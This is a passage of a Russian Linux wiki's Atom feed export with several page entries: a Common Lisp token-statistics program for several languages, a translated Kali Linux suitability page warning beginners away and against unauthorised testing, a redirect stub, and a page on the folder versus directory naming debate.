		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A2%D0%BE%D1%80%D0%BC%D0%BE%D0%B7%D0%B8%D1%82_%D0%BA%D0%BE%D0%BF%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BD%D0%B0_%D1%84%D0%BB%D0%B5%D1%88%D0%BA%D1%83&amp;diff=377</id>
		<title>Тормозит копирование на флешку</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A2%D0%BE%D1%80%D0%BC%D0%BE%D0%B7%D0%B8%D1%82_%D0%BA%D0%BE%D0%BF%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BD%D0%B0_%D1%84%D0%BB%D0%B5%D1%88%D0%BA%D1%83&amp;diff=377"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#перенаправление [[12309]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A2%D0%B5%D0%BA%D1%81%D1%82_%D0%BF%D1%83%D0%B7%D0%BE%D0%BC%D0%B5%D1%80%D0%BA%D0%B8_%D0%BD%D0%B0_%D0%9B%D0%B8%D1%81%D0%BF&amp;diff=375</id>
		<title>Текст пузомерки на Лисп</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A2%D0%B5%D0%BA%D1%81%D1%82_%D0%BF%D1%83%D0%B7%D0%BE%D0%BC%D0%B5%D1%80%D0%BA%D0%B8_%D0%BD%D0%B0_%D0%9B%D0%B8%D1%81%D0%BF&amp;diff=375"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Tip|content=Яничегонепонял. Напишите понятно, шо это такое и зачем нужно}}&lt;br /&gt;
&lt;br /&gt;
Программа писана больше для личного употребления, поэтому у нее практически нет интерфейса. Файл для подсчета захардкоден в самом конце, в виде пути к файлу типа &amp;quot;advlib.lisp&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Для разбора различных языков используются макросы типа make-lisp-classifier, использование конкретного макроса тоже хардкодидся в последней строке.&lt;br /&gt;
&lt;br /&gt;
Примечание: текст слегка не влез по ширине, поэтому советую скопипастить его для изучения и/или использования. Если кто-нибудь отформатирует, буду очень благодарен --[[User:eugine_kosenko|Евгений Косенко]] 05-Jul-2008 17:25 MSD&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
(require 'lexer)&lt;br /&gt;
(in-package lexer)&lt;br /&gt;
&lt;br /&gt;
(defun lex-class (class-def)&lt;br /&gt;
  (mapcar &lt;br /&gt;
  #'(lambda (regex) `(,regex (return (values ,(car class-def) %0))))&lt;br /&gt;
  (cdr class-def)))&lt;br /&gt;
&lt;br /&gt;
(defmacro defclassifier (name class-list skip-list)&lt;br /&gt;
  `(deflexer ,name&lt;br /&gt;
    :flex-compatible &lt;br /&gt;
    ,@(mapcan #'lex-class class-list)&lt;br /&gt;
    ,@(mapcar #'list skip-list)))&lt;br /&gt;
&lt;br /&gt;
(defclassifier make-ocaml-classifier&lt;br /&gt;
  ((:keyword&lt;br /&gt;
   .(&amp;quot;!=&amp;quot; &amp;quot;%&amp;quot; &amp;quot;&amp;amp;&amp;quot; &amp;quot;&amp;amp;&amp;amp;&amp;quot; &amp;quot;,&amp;quot; &amp;quot;:&amp;quot; &amp;quot;::&amp;quot; &amp;quot;;&amp;quot; &amp;quot;;;&amp;quot; &amp;quot;&amp;lt;&amp;quot; &amp;quot;&amp;lt;\\-&amp;quot; &amp;quot;=&amp;quot; &amp;quot;&amp;gt;&amp;quot; &amp;quot;&amp;gt;=&amp;quot; &amp;quot;@&amp;quot; &amp;quot;Array&amp;quot;&lt;br /&gt;
    &amp;quot;List&amp;quot; &amp;quot;Queue&amp;quot; &amp;quot;\\(&amp;quot; &amp;quot;\\)&amp;quot; &amp;quot;\\*&amp;quot; &amp;quot;\\+&amp;quot; &amp;quot;\\-&amp;quot; &amp;quot;\\-&amp;gt;&amp;quot; &amp;quot;\\.&amp;quot; &amp;quot;\\[&amp;quot; &amp;quot;\\]&amp;quot; &amp;quot;\\{&amp;quot;&lt;br /&gt;
    &amp;quot;\\|&amp;quot; &amp;quot;\\|\\|&amp;quot; &amp;quot;\\}&amp;quot; &amp;quot;assoc&amp;quot; &amp;quot;create&amp;quot; &amp;quot;do&amp;quot; &amp;quot;done&amp;quot; &amp;quot;else&amp;quot; &amp;quot;flush&amp;quot; &amp;quot;for&amp;quot; &amp;quot;fun&amp;quot;&lt;br /&gt;
    &amp;quot;function&amp;quot; &amp;quot;if&amp;quot; &amp;quot;in&amp;quot; &amp;quot;iter&amp;quot; &amp;quot;length&amp;quot; &amp;quot;let&amp;quot; &amp;quot;loop&amp;quot; &amp;quot;make_matrix&amp;quot; &amp;quot;map&amp;quot; &amp;quot;not&amp;quot;&lt;br /&gt;
    &amp;quot;pop&amp;quot; &amp;quot;push&amp;quot; &amp;quot;raise&amp;quot; &amp;quot;then&amp;quot; &amp;quot;to&amp;quot; &amp;quot;true&amp;quot; &amp;quot;try&amp;quot; &amp;quot;with&amp;quot; &amp;quot;filter&amp;quot; &amp;quot;make&amp;quot; &amp;quot;init&amp;quot;&lt;br /&gt;
    &amp;quot;string&amp;quot; &amp;quot;String&amp;quot; &amp;quot;index&amp;quot; &amp;quot;ignore&amp;quot; &amp;quot;rec&amp;quot; &amp;quot;open&amp;quot; &amp;quot;val&amp;quot; &amp;quot;bool&amp;quot; &amp;quot;int&amp;quot; &amp;quot;array&amp;quot;&lt;br /&gt;
    &amp;quot;when&amp;quot; &amp;quot;copy&amp;quot;))&lt;br /&gt;
&lt;br /&gt;
  (:meanword&lt;br /&gt;
   .(&amp;quot;\&amp;quot;[^\&amp;quot;]*\&amp;quot;&amp;quot; &amp;quot;'[^']*'&amp;quot; &amp;quot;(-)?[0-9]+&amp;quot; &amp;quot;[A-Za-z_][A-Za-z_]*(')?&amp;quot;)))&lt;br /&gt;
&lt;br /&gt;
  ;skipword&lt;br /&gt;
  (&amp;quot;//.*$&amp;quot; &amp;quot;[:space:]+&amp;quot;))&lt;br /&gt;
&lt;br /&gt;
(defclassifier make-c++-classifier&lt;br /&gt;
  ((:keyword&lt;br /&gt;
   .(&amp;quot;!=&amp;quot; &amp;quot;#include&amp;quot; &amp;quot;%&amp;quot; &amp;quot;&amp;amp;&amp;quot; &amp;quot;,&amp;quot; &amp;quot;:&amp;quot; &amp;quot;::&amp;quot; &amp;quot;;&amp;quot; &amp;quot;&amp;lt;&amp;quot; &amp;quot;&amp;lt;&amp;lt;&amp;quot; &amp;quot;=&amp;quot; &amp;quot;&amp;gt;&amp;quot; &amp;quot;&amp;gt;=&amp;quot; &amp;quot;&amp;gt;&amp;gt;&amp;quot; &amp;quot;\\(&amp;quot;&lt;br /&gt;
    &amp;quot;\\)&amp;quot; &amp;quot;\\*&amp;quot; &amp;quot;\\+&amp;quot; &amp;quot;\\+\\+&amp;quot; &amp;quot;\\-&amp;gt;&amp;quot; &amp;quot;\\.&amp;quot; &amp;quot;\\[&amp;quot; &amp;quot;\\]&amp;quot; &amp;quot;\\{&amp;quot; &amp;quot;\\|\\|&amp;quot; &amp;quot;\\}&amp;quot;&lt;br /&gt;
    &amp;quot;bool&amp;quot; &amp;quot;class&amp;quot; &amp;quot;const&amp;quot; &amp;quot;for&amp;quot; &amp;quot;if&amp;quot; &amp;quot;int&amp;quot; &amp;quot;namespace&amp;quot; &amp;quot;operator&amp;quot; &amp;quot;return&amp;quot; &amp;quot;std&amp;quot;&lt;br /&gt;
    &amp;quot;struct&amp;quot; &amp;quot;try&amp;quot; &amp;quot;typedef&amp;quot; &amp;quot;using&amp;quot; &amp;quot;void&amp;quot;))&lt;br /&gt;
&lt;br /&gt;
  (:meanword&lt;br /&gt;
   .(&amp;quot;\&amp;quot;[^\&amp;quot;]*\&amp;quot;&amp;quot; &amp;quot;(-)?[0-9]+&amp;quot; &amp;quot;[A-Za-z_][A-Za-z_]*&amp;quot;)))&lt;br /&gt;
&lt;br /&gt;
  ;skipword&lt;br /&gt;
  (&amp;quot;//.*$&amp;quot; &amp;quot;[:space:]+&amp;quot;))&lt;br /&gt;
&lt;br /&gt;
(defclassifier make-python-classifier&lt;br /&gt;
  ((:keyword &lt;br /&gt;
   .(&amp;quot;\\|&amp;quot; &amp;quot;\\&amp;amp;&amp;quot; &amp;quot;\\\\&amp;quot; &amp;quot;\\+=&amp;quot; &amp;quot;==&amp;quot; &amp;quot;\\-&amp;quot; &amp;quot;\\{&amp;quot; &amp;quot;\\}&amp;quot; &amp;quot;!=&amp;quot; &amp;quot;%&amp;quot; &amp;quot;,&amp;quot; &amp;quot;:&amp;quot; &amp;quot;&amp;lt;&amp;quot; &amp;quot;=&amp;quot; &amp;quot;&amp;gt;&amp;quot; &amp;quot;&amp;gt;=&amp;quot; &amp;quot;\\(&amp;quot; &amp;quot;\\)&amp;quot; &amp;quot;\\*&amp;quot; &amp;quot;\\+&amp;quot; &amp;quot;\\.&amp;quot; &lt;br /&gt;
    &amp;quot;\\[&amp;quot; &amp;quot;\\]&amp;quot;&lt;br /&gt;
    &amp;quot;__class__&amp;quot; &amp;quot;__init__&amp;quot; &amp;quot;__name__&amp;quot; &amp;quot;__unicode__&amp;quot; &amp;quot;append&amp;quot; &amp;quot;class&amp;quot; &amp;quot;cond&amp;quot; &amp;quot;def&amp;quot;&lt;br /&gt;
    &amp;quot;dict&amp;quot; &amp;quot;except&amp;quot; &amp;quot;for&amp;quot; &amp;quot;if&amp;quot; &amp;quot;import&amp;quot; &amp;quot;in&amp;quot; &amp;quot;join&amp;quot; &amp;quot;lambda&amp;quot; &amp;quot;len&amp;quot; &amp;quot;list&amp;quot; &amp;quot;print&amp;quot;&lt;br /&gt;
    &amp;quot;return&amp;quot; &amp;quot;setattr&amp;quot; &amp;quot;try&amp;quot; &amp;quot;unicode&amp;quot; &amp;quot;yield&amp;quot; &amp;quot;raise&amp;quot; &amp;quot;or&amp;quot; &amp;quot;pass&amp;quot; &amp;quot;xrange&amp;quot; &amp;quot;__str__&amp;quot; &amp;quot;break&amp;quot; &lt;br /&gt;
    &amp;quot;None&amp;quot; &amp;quot;is&amp;quot; &amp;quot;while&amp;quot; &amp;quot;has_key&amp;quot; &amp;quot;from&amp;quot;))&lt;br /&gt;
&lt;br /&gt;
  (:meanword&lt;br /&gt;
   .(&amp;quot;`[^']+`&amp;quot; &amp;quot;\&amp;quot;[^\&amp;quot;]*\&amp;quot;&amp;quot; &amp;quot;(-)?[0-9]+&amp;quot; &amp;quot;[A-Za-z_][A-Za-z_]*&amp;quot; &amp;quot;u?'[^']*'&amp;quot;)))&lt;br /&gt;
&lt;br /&gt;
  ;skipword  &lt;br /&gt;
  (&amp;quot;#.*$&amp;quot; &amp;quot;[:space:]+&amp;quot;))&lt;br /&gt;
&lt;br /&gt;
(defclassifier make-lisp-classifier&lt;br /&gt;
  ((:keyword &lt;br /&gt;
   .(&amp;quot;&amp;amp;body&amp;quot; &amp;quot;#\\.&amp;quot; &amp;quot;\\-&amp;quot; &amp;quot;#[cC]&amp;quot; &amp;quot;1-&amp;quot; &amp;quot;\\.&amp;quot; &amp;quot;#'&amp;quot; &amp;quot;%&amp;quot; &amp;quot;&amp;amp;key&amp;quot; &amp;quot;&amp;amp;optional&amp;quot; &amp;quot;'&amp;quot; &amp;quot;,&amp;quot; &amp;quot;,@&amp;quot; &amp;quot;/&amp;quot; &amp;quot;1\\+&amp;quot; &amp;quot;:&amp;quot; &amp;quot;:test&amp;quot; &amp;quot;&amp;lt;&amp;quot; &amp;quot;&amp;lt;&amp;gt;&amp;quot; &amp;quot;=&amp;quot;&lt;br /&gt;
    &amp;quot;&amp;gt;&amp;quot; &amp;quot;&amp;gt;=&amp;quot; &amp;quot;\\(&amp;quot; &amp;quot;\\)&amp;quot; &amp;quot;\\*&amp;quot; &amp;quot;\\+&amp;quot; &amp;quot;`&amp;quot; &amp;quot;and&amp;quot; &amp;quot;break&amp;quot; &amp;quot;caar&amp;quot; &amp;quot;cond&amp;quot; &amp;quot;defun&amp;quot; &amp;quot;eq&amp;quot;&lt;br /&gt;
    &amp;quot;equal&amp;quot; &amp;quot;gethash&amp;quot; &amp;quot;if&amp;quot; &amp;quot;in-package&amp;quot; &amp;quot;lambda&amp;quot; &amp;quot;length&amp;quot; &amp;quot;list&amp;quot; &amp;quot;make-hash-table&amp;quot;&lt;br /&gt;
    &amp;quot;make-instance&amp;quot; &amp;quot;not&amp;quot; &amp;quot;print&amp;quot; &amp;quot;progn&amp;quot; &amp;quot;push&amp;quot; &amp;quot;setf&amp;quot; &amp;quot;setq&amp;quot; &amp;quot;slot-value&amp;quot;&lt;br /&gt;
    &amp;quot;string=&amp;quot; &amp;quot;t&amp;quot; &amp;quot;terpri&amp;quot; &amp;quot;append&amp;quot; &amp;quot;reverse&amp;quot; &amp;quot;cadr&amp;quot; &amp;quot;min&amp;quot; &amp;quot;reduce&amp;quot; &amp;quot;assoc&amp;quot; &amp;quot;throw&amp;quot;&lt;br /&gt;
    &amp;quot;mapcan&amp;quot; &amp;quot;remove-if&amp;quot; &amp;quot;defmacro&amp;quot; &amp;quot;remove&amp;quot; &amp;quot;pairlis&amp;quot; &amp;quot;defconstant&amp;quot; &amp;quot;across&amp;quot; &amp;quot;read-line&amp;quot; &amp;quot;listen&amp;quot;&lt;br /&gt;
    &amp;quot;while&amp;quot; &amp;quot;upfrom&amp;quot; &amp;quot;with-open-file&amp;quot; &amp;quot;finally&amp;quot; &amp;quot;format&amp;quot; &amp;quot;princ&amp;quot; &amp;quot;complex&amp;quot; &amp;quot;let&amp;quot; &amp;quot;do&amp;quot; &amp;quot;to&amp;quot; &amp;quot;from&amp;quot; &amp;quot;for&amp;quot;&lt;br /&gt;
    &amp;quot;loop&amp;quot; &amp;quot;eql&amp;quot; &amp;quot;member&amp;quot; &amp;quot;null&amp;quot; &amp;quot;or&amp;quot; &amp;quot;imagpart&amp;quot; &amp;quot;realpart&amp;quot; &amp;quot;cons&amp;quot; &amp;quot;car&amp;quot; &amp;quot;cdr&amp;quot; &amp;quot;nil&amp;quot; &amp;quot;defvar&amp;quot;&lt;br /&gt;
    &amp;quot;eval&amp;quot; &amp;quot;eval&amp;quot; &amp;quot;mapcar&amp;quot; &amp;quot;&amp;amp;rest&amp;quot; &amp;quot;read&amp;quot; &amp;quot;with-open-stream&amp;quot; &amp;quot;return&amp;quot; &amp;quot;unless&amp;quot; &amp;quot;read-from-string&amp;quot;&lt;br /&gt;
    &amp;quot;string&amp;quot; &amp;quot;concatenate&amp;quot; &amp;quot;remove-dublicates&amp;quot; &amp;quot;#c&amp;quot; &amp;quot;:conc-name&amp;quot; &amp;quot;defctruct&amp;quot; &amp;quot;max&amp;quot; &amp;quot;case&amp;quot; &amp;quot;require&amp;quot;&lt;br /&gt;
    &amp;quot;initially&amp;quot; &amp;quot;remove-duplicates&amp;quot; &amp;quot;quote&amp;quot; &amp;quot;:count&amp;quot; &amp;quot;when&amp;quot; &amp;quot;upto&amp;quot; &amp;quot;\\(\\)&amp;quot; &amp;quot;count&amp;quot; &amp;quot;numberp&amp;quot;))&lt;br /&gt;
&lt;br /&gt;
  (:meanword&lt;br /&gt;
   .(&amp;quot;#\\\\.&amp;quot; &amp;quot;\&amp;quot;[^\&amp;quot;]*\&amp;quot;&amp;quot; &amp;quot;(\\-)?[0-9]+&amp;quot; &amp;quot;[A-Za-z][A-Za-z0-9\\-\\+!]*&amp;quot; &amp;quot;[\\[]&amp;quot; &amp;quot;[\\]]&amp;quot;)))&lt;br /&gt;
&lt;br /&gt;
  ;skipword  &lt;br /&gt;
  (&amp;quot;;.*$&amp;quot; &amp;quot;[:space:]+&amp;quot;))&lt;br /&gt;
&lt;br /&gt;
(defun collect-stats (token-stream keywords meanwords trace-lex)&lt;br /&gt;
   (multiple-value-bind &lt;br /&gt;
    (class value) (funcall token-stream)&lt;br /&gt;
    (cond ((eq class nil))&lt;br /&gt;
        (t (cond ((eq class :keyword)&lt;br /&gt;
              (setf (gethash value keywords) (1+ (gethash value keywords 0))))&lt;br /&gt;
              ((eq class :meanword)&lt;br /&gt;
              (setf (gethash value meanwords) (1+ (gethash value meanwords 0))))&lt;br /&gt;
              (t (throw :invalid-class (values nil class))))&lt;br /&gt;
          (cond&lt;br /&gt;
          (trace-lex&lt;br /&gt;
           (prin1 class)&lt;br /&gt;
           (prin1 &amp;quot; &amp;quot;)&lt;br /&gt;
           (prin1 value)&lt;br /&gt;
           (terpri)))&lt;br /&gt;
          (collect-stats token-stream keywords meanwords trace-lex)))))&lt;br /&gt;
&lt;br /&gt;
(defun hash-sum (hash)&lt;br /&gt;
  (let ((sum 0)) &lt;br /&gt;
   (maphash #'(lambda (k v) (declare (ignore k)) (incf sum v)) hash)&lt;br /&gt;
   sum))&lt;br /&gt;
&lt;br /&gt;
(defun hash-keys (hash)&lt;br /&gt;
  (let ((keys ()))&lt;br /&gt;
   (maphash #'(lambda (k v) (declare (ignore v)) (push k keys)) hash) keys))&lt;br /&gt;
&lt;br /&gt;
(defun % (part total)&lt;br /&gt;
  (values (round (float (* 100 (/ part total))))))&lt;br /&gt;
&lt;br /&gt;
(defun lo-stats (token-stream trace-lex show-classes)&lt;br /&gt;
     (let &lt;br /&gt;
      ((keywords (make-hash-table :test #'equal)) (meanwords (make-hash-table :test #'equal)))&lt;br /&gt;
    (collect-stats token-stream keywords meanwords trace-lex)&lt;br /&gt;
    (cond&lt;br /&gt;
     (show-classes&lt;br /&gt;
      (princ &amp;quot;Keywords: &amp;quot;)&lt;br /&gt;
      (prin1 (hash-keys keywords))&lt;br /&gt;
      (terpri)&lt;br /&gt;
      (princ &amp;quot;Meanwords: &amp;quot;)&lt;br /&gt;
      (prin1 (hash-keys meanwords))&lt;br /&gt;
      (terpri)))&lt;br /&gt;
    (values&lt;br /&gt;
     (hash-sum keywords)&lt;br /&gt;
     (hash-sum meanwords)&lt;br /&gt;
     (hash-table-count keywords)&lt;br /&gt;
     (hash-table-count meanwords))))&lt;br /&gt;
&lt;br /&gt;
(defun hi-stats (token-stream &amp;amp;key (trace-lex nil) (show-classes nil))&lt;br /&gt;
  (multiple-value-bind &lt;br /&gt;
  (keyword-length meaning-length keyword-thesaurus meaning-thesaurus)&lt;br /&gt;
  (lo-stats token-stream trace-lex show-classes)&lt;br /&gt;
  (let ((total-length (+ keyword-length meaning-length))&lt;br /&gt;
      (total-thesaurus (+ keyword-thesaurus meaning-thesaurus)))&lt;br /&gt;
    (list&lt;br /&gt;
    (cons &amp;quot;Total length&amp;quot; total-length)&lt;br /&gt;
    (cons &amp;quot;Meaning length&amp;quot; meaning-length)&lt;br /&gt;
    (cons &amp;quot;Total thesaurus&amp;quot; total-thesaurus)&lt;br /&gt;
    (cons &amp;quot;Meaning thesaurus&amp;quot; meaning-thesaurus)&lt;br /&gt;
    (cons &amp;quot;Total saturation (%)&amp;quot; (% meaning-length total-length))&lt;br /&gt;
    (cons &amp;quot;Thesaurus saturation (%)&amp;quot; (% meaning-thesaurus total-thesaurus))&lt;br /&gt;
    (cons &amp;quot;Total expressiveness (%)&amp;quot; (% total-thesaurus total-length))&lt;br /&gt;
    (cons &amp;quot;Meaning expressiveness (%)&amp;quot; &lt;br /&gt;
        (if (&amp;gt; meaning-length 0) (% meaning-thesaurus meaning-length) 0))))))&lt;br /&gt;
&lt;br /&gt;
(defun print-result (result-table)&lt;br /&gt;
  (mapcar&lt;br /&gt;
   #'(lambda (pair) (format t &amp;quot;~A~50T~7D~%&amp;quot; (car pair) (cdr pair)))&lt;br /&gt;
   result-table))&lt;br /&gt;
&lt;br /&gt;
(defun read-content (file-name)&lt;br /&gt;
  (with-open-file &lt;br /&gt;
  (s file-name)&lt;br /&gt;
  (let&lt;br /&gt;
     ((data (make-string (file-length s)))) &lt;br /&gt;
    (read-sequence data s) data)))&lt;br /&gt;
&lt;br /&gt;
(print-result (hi-stats (make-lisp-classifier (read-content &amp;quot;advworld.lisp&amp;quot;))))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Lisp]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D1%82%D0%BE%D0%B8%D1%82_%D0%BB%D0%B8_%D0%BC%D0%BD%D0%B5_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D1%8C_Kali_Linux&amp;diff=373</id>
		<title>Стоит ли мне использовать Kali Linux</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D1%82%D0%BE%D0%B8%D1%82_%D0%BB%D0%B8_%D0%BC%D0%BD%D0%B5_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D1%8C_Kali_Linux&amp;diff=373"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Книги ==&lt;br /&gt;
&lt;br /&gt;
Kali Linux Documentation Official (русский): https://docs.kali.org/pdf/kali-book-ru.pdf&lt;br /&gt;
&lt;br /&gt;
Настольная книга администратора debian (русский): https://debian-handbook.info/browse/ru-RU/stable/&amp;lt;br&amp;gt;&lt;br /&gt;
EPUB: https://debian-handbook.info/download/ru-RU/stable/debian-handbook.epub&amp;lt;br&amp;gt;&lt;br /&gt;
PDF: [[Файл:Debian-handbook.pdf]]&lt;br /&gt;
&lt;br /&gt;
Kali Linux от разработчиков Херцог Рафаэль, Горман Джим, Ахарони Мати (русский, isbn:5446105486) https://books.google.ru/books?id=IuVmDwAAQBAJ&amp;amp;lpg=PA1&amp;amp;dq=isbn%3A5446105486&amp;amp;hl=ru&amp;amp;pg=PA5#v=onepage&amp;amp;q&amp;amp;f=false&lt;br /&gt;
&lt;br /&gt;
Это перевод официальной документации https://docs.kali.org/introduction/should-i-use-kali-linux&lt;br /&gt;
&lt;br /&gt;
== Главное ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre style=&amp;quot;color: red&amp;quot;&amp;gt;&lt;br /&gt;
Если вы вообще не знакомы с GNU/Linux;&lt;br /&gt;
Если у вас нет базового уровня знаний и у вас нет опыта администрирования системы;&lt;br /&gt;
Если вы ищете дистрибутив GNU/Linux для использования в качестве учебного инструмента, чтобы узнать GNU/Linux лучше;&lt;br /&gt;
Если вам нужен дистрибутив, который вы можете использовать в качестве настольной системы общего назначения...&lt;br /&gt;
&lt;br /&gt;
...то Kali Linux — не то, что вы ищете!&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;color: green&amp;quot;&amp;gt;Вероятно, хорошим стартом может стать Debian ([https://www.debian.org./index.ru.html Официальный сайт Debian GNU/Linux]).&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Основные особенности Kali Linux ==&lt;br /&gt;
&lt;br /&gt;
'''Kali Linux специально предназначен для удовлетворения требований профессионального тестирования, проникновения и аудита безопасности'''. Для этого в Kali Linux реализованы несколько особенностей, которые отражают эти потребности:&lt;br /&gt;
&lt;br /&gt;
* Однопользовательский доступ (root) по умолчанию: из-за характера деятельности пентестинга Kali Linux предназначен для использования в сценариях «только пользователь root». Многие из инструментов, используемых при тестировании проникновения, требуют повышенных привилегий, и в общем случае разумная политика заключается только в том, чтобы использовать привилегии root только в случае необходимости. Однако в случаях использования, на которые нацелен Kali Linux, этот подход будет излишним.&lt;br /&gt;
&lt;br /&gt;
* '''Сетевые службы по умолчанию отключены''': Kali Linux содержит системные хуки, которые по умолчанию отключают сетевые службы. Эти хуки позволяют устанавливать различные службы на Kali Linux гарантируя, что наш дистрибутив по-прежнему остается защищенным, независимо от того какие пакеты установлены. Дополнительные сервисы, например Bluetooth, также по умолчанию занесены в черный список.&lt;br /&gt;
&lt;br /&gt;
* Специально подготовленный ​​Linux: Kali Linux использует измененное ядро, исправленное для проведения аудита безопасности беспроводных сетей.&lt;br /&gt;
&lt;br /&gt;
* Минимальный и надежный набор репозиториев: с учетом целей и задач Kali Linux, цель обеспечения целостности системы является абсолютно ключевой. Для выполнения этой задачи набор исходных программных источников, которые использует Kali, '''сведен к абсолютному минимуму'''. У многих новых пользователей Kali возникает соблазн добавить дополнительные репозитории в свой source.list, но при этом возникает очень серьезная опасность поломки системы Kali Linux.&lt;br /&gt;
&lt;br /&gt;
== Подходит ли для вас Kali Linux? ==&lt;br /&gt;
Мы не рекомендуем использовать Kali Linux для всех. Дело в том, что Kali — дистрибутив GNU/Linux, специально предназначенный для профессиональных аудиторов сетевой безопасности, и учитывая его уникальный характер, '''он НЕ является рекомендуемым дистрибутивом'''. Если вы не знакомы с Linux или ищете дистрибутив для повседневных задач — используйте другие дистрибутивы Linux для разработки, веб-дизайна, игр и т. д. &lt;br /&gt;
&lt;br /&gt;
'''Даже для опытных пользователей Linux Kali может создать определенные проблемы'''. Хотя Kali — проект с открытым исходным кодом, он не является широкомасштабным исходным проектом по соображениям безопасности. Команда разработчиков небольшая и надежная, пакеты в хранилищах подписаны как отдельным коммиттером, так и командой, и что немаловажно, набор основных репозиториев, из которых производятся обновления и устанавливаются новые пакеты, очень мал. Добавление сторонних репозиториев к вашим источникам программного обеспечения, которые не были проверены командой разработчиков Kali Linux, может '''вызвать проблемы''' в вашей системе.&lt;br /&gt;
&lt;br /&gt;
В то время как Kali Linux сконструирован таким образом, чтобы его можно было настраивать, не ожидайте, что сможете добавлять случайные несвязанные пакеты и репозитории, которые являются «вне диапазона» обычных источников программного обеспечения Kali. В частности, нет никакой поддержки для команды apt-add-repository, LaunchPad или PPA. Попытка установить Steam в Kali Linux — это эксперимент, '''который закончится плохо'''. Даже получение пакета из репозиториев Kali, например Node.js, не гарантирует отсутствие необходимости в дополнительных манипуляциях для корректной работы.&lt;br /&gt;
&lt;br /&gt;
Если вы вообще не знакомы с GNU/Linux, '''если у вас нет по крайней мере базового уровня знаний и опыта администрирования системы''', если вы ищете дистрибутив Linux для использования в качестве учебного инструмента для того, чтобы узнать GNU/Linux, или если вам нужен дистрибутив, который вы можете использовать в качестве настольной системы повседневного назначения, то Kali Linux не то, что вы ищете.&lt;br /&gt;
&lt;br /&gt;
Кроме того, неправильное использование средств проверки безопасности и проникновения в сеть, в частности, без специального разрешения, может нанести непоправимый ущерб и '''привести к значительным последствиям: личным и/или юридическим'''. «Не понимал, что делаю» не будет служить оправданием.&lt;br /&gt;
&lt;br /&gt;
Однако, если вы профессиональный тестер проникновения или изучаете тестирование на проникновение с целью стать сертифицированным специалистом, то для вас нет лучшего инструментария, чем Kali Linux.&lt;br /&gt;
&lt;br /&gt;
[[Category:Дистрибутивы]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D0%BF%D0%BE%D1%80_%D0%BE%D0%B1_%D0%B8%D0%BC%D0%B5%D0%BD%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B8_%D0%BF%D0%B0%D0%BF%D0%BE%D0%BA&amp;diff=371</id>
		<title>Спор об именовании папок</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D0%BF%D0%BE%D1%80_%D0%BE%D0%B1_%D0%B8%D0%BC%D0%B5%D0%BD%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B8_%D0%BF%D0%B0%D0%BF%D0%BE%D0%BA&amp;diff=371"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Если вам встретится человек, употребляющий в своей речи слова «папка» в значении «каталог», гоните его, насмехайтесь над ним.&lt;br /&gt;
&lt;br /&gt;
И постучитесь головой апстену, так как «папки» родились вместе с первой ОС, имеющей графический интерфейс (Xerox Alto, Xerox Star, 70-е года XX века).&lt;br /&gt;
&lt;br /&gt;
Хорошее объяснение принципиального различия папок и директорий — https://superuser.com/questions/169457/directory-vs-folder. (Тут неточность, Windows 95 не была первой системой, она всего лишь заимствовала решение, которому в 1995 году было уже 20 лет.)&lt;br /&gt;
&lt;br /&gt;
''Windows 95 introduced Windows Explorer and along with it the term folder. What is the relationship between folders and directories?''&lt;br /&gt;
&lt;br /&gt;
''Some people believe that Windows 95 renamed directories to folders, but it’s actually more than that.''&lt;br /&gt;
&lt;br /&gt;
''Windows Explorer lets you view folders, which are containers in the shell namespace. Directories are one type of folder, namely, folders which correspond to file system locations. There are other types of folders, such as Control Panel or Network Neighborhood or Printers. These other types of folders represent objects in the shell namespace which do not correspond to files. In common usage, the term virtual folder has been applied to refer to folders which are not directories. In other words, we have this Euler diagram:''&lt;br /&gt;
&lt;br /&gt;
[[File:Folders.png]] ''(Virtual folders = Folders − Directories)''&lt;br /&gt;
&lt;br /&gt;
''In general, code which manipulates the shell namespace should operate on folders and items, not directories and files, so as not to tie themselves to a particular storage medium. For example, code which limits itself to files won't be able to navigate into a Zip file, since the contents of a Zip file are exposed in the form of a virtual folder.''&lt;br /&gt;
&lt;br /&gt;
